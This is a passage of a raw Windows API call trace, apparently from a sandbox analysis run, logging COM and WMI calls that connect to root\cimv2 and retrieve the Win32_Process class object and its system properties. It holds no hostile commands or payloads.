0x0 [0141.832] WbemLocator:IUnknown:Release (This=0x1bce60c0) returned 0x0 [0141.832] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce60e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bce60e0) returned 0x0 [0141.832] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce60e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0141.832] WbemLocator:IUnknown:AddRef (This=0x1bce60e0) returned 0x3 [0141.832] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce60e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0141.832] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce60e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0141.832] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce60e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0141.832] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0141.832] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0141.832] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce60e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0141.832] WbemLocator:IUnknown:Release (This=0x1bce60e0) returned 0x2 [0141.832] WbemLocator:IUnknown:Release (This=0x1bce60e0) returned 0x1 [0141.832] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0141.832] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0141.833] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce60e0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bce60e0) returned 0x0 [0141.833] WbemLocator:IUnknown:AddRef (This=0x1bce60e0) returned 0x3 [0141.833] WbemLocator:IUnknown:Release (This=0x1bce60e0) returned 0x2 [0141.833] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0141.833] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0141.833] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.833] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bce6040) returned 0x0 [0141.833] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bce6040, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bce7e10) returned 0x0 [0141.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7e10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc42fe0) returned 0x0 [0141.945] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42fe0, pProxy=0x1bce7e10, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0141.945] WbemLocator:IUnknown:Release (This=0x1bc42fe0) returned 0x1 [0141.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7e10, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc43020) returned 0x0 [0141.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7e10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc42fe0) returned 0x0 [0141.945] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42fe0, pProxy=0x1bce7e10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.945] WbemLocator:IUnknown:Release (This=0x1bc42fe0) returned 0x2 [0141.945] WbemLocator:IUnknown:Release (This=0x1bc43020) returned 0x1 [0141.945] CoTaskMemFree (pv=0x1bcc3160) [0141.945] WbemLocator:IUnknown:AddRef (This=0x1bce7e10) returned 0x2 [0141.946] WbemLocator:IUnknown:Release (This=0x1bce6040) returned 0x0 [0141.946] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0141.946] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0141.946] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7e10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc42ff0) returned 0x0 [0141.946] WbemLocator:IRpcOptions:Query (in: This=0x1bc42ff0, pPrx=0x1bce60a0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0141.946] WbemLocator:IUnknown:Release (This=0x1bc42ff0) returned 0x2 [0141.946] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0141.946] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0141.946] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7e10, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bce7e10) returned 0x0 [0141.946] WbemLocator:IUnknown:Release (This=0x1bce7e10) returned 0x2 [0141.947] SysStringLen (param_1=0x0) returned 0x0 [0141.947] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0141.947] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0141.947] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.947] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9760, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0141.947] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9760, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0141.947] IWbemServices:GetObject (in: This=0x1bce7e10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa28c00, ppCallResult=0x0) returned 0x0 [0141.966] IWbemClassObject:Get (in: This=0x1aa28c00, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0141.966] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0141.967] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0141.967] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0141.967] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0141.967] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0141.967] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.970] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bce6040) returned 0x0 [0141.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6040, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0141.970] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6040, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bcd9460) returned 0x0 [0141.970] WbemDefPath:IUnknown:Release (This=0x1bce6040) returned 0x0 [0141.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bcd9460) returned 0x0 [0141.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0141.971] WbemDefPath:IUnknown:AddRef (This=0x1bcd9460) returned 0x3 [0141.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0141.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0141.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bce6060) returned 0x0 [0141.971] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6060, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.971] WbemDefPath:IUnknown:Release (This=0x1bce6060) returned 0x3 [0141.971] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0141.971] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0141.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0141.971] WbemDefPath:IUnknown:Release (This=0x1bcd9460) returned 0x2 [0141.971] WbemDefPath:IUnknown:Release (This=0x1bcd9460) returned 0x1 [0141.971] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0141.971] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0141.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9460, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcd9460) returned 0x0 [0141.971] WbemDefPath:IUnknown:AddRef (This=0x1bcd9460) returned 0x3 [0141.971] WbemDefPath:IUnknown:Release (This=0x1bcd9460) returned 0x2 [0141.971] WbemDefPath:IWbemPath:SetText (This=0x1bcd9460, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0141.972] IWbemClassObject:Get (in: This=0x1aa28c00, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0141.972] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.972] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.972] IWbemClassObject:Get (in: This=0x1aa28c00, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0141.972] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0141.972] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0141.972] IWbemClassObject:Get (in: This=0x1aa28c00, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0141.972] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0141.973] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0141.973] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0141.973] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0141.973] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0141.973] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.975] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce5da0) returned 0x0 [0141.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5da0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0141.975] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5da0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd93a0) returned 0x0 [0141.975] WbemDefPath:IUnknown:Release (This=0x1bce5da0) returned 0x0 [0141.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd93a0) returned 0x0 [0141.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0141.975] WbemDefPath:IUnknown:AddRef (This=0x1bcd93a0) returned 0x3 [0141.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0141.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0141.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce5d20) returned 0x0 [0141.976] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5d20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.976] WbemDefPath:IUnknown:Release (This=0x1bce5d20) returned 0x3 [0141.976] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0141.976] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0141.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0141.976] WbemDefPath:IUnknown:Release (This=0x1bcd93a0) returned 0x2 [0141.976] WbemDefPath:IUnknown:Release (This=0x1bcd93a0) returned 0x1 [0141.976] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0141.976] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0141.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd93a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd93a0) returned 0x0 [0141.976] WbemDefPath:IUnknown:AddRef (This=0x1bcd93a0) returned 0x3 [0141.976] WbemDefPath:IUnknown:Release (This=0x1bcd93a0) returned 0x2 [0141.976] WbemDefPath:IWbemPath:SetText (This=0x1bcd93a0, uMode=0x4, pszPath="") returned 0x0 [0141.976] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0141.976] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0141.976] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0141.976] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.978] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce5da0) returned 0x0 [0141.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5da0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, 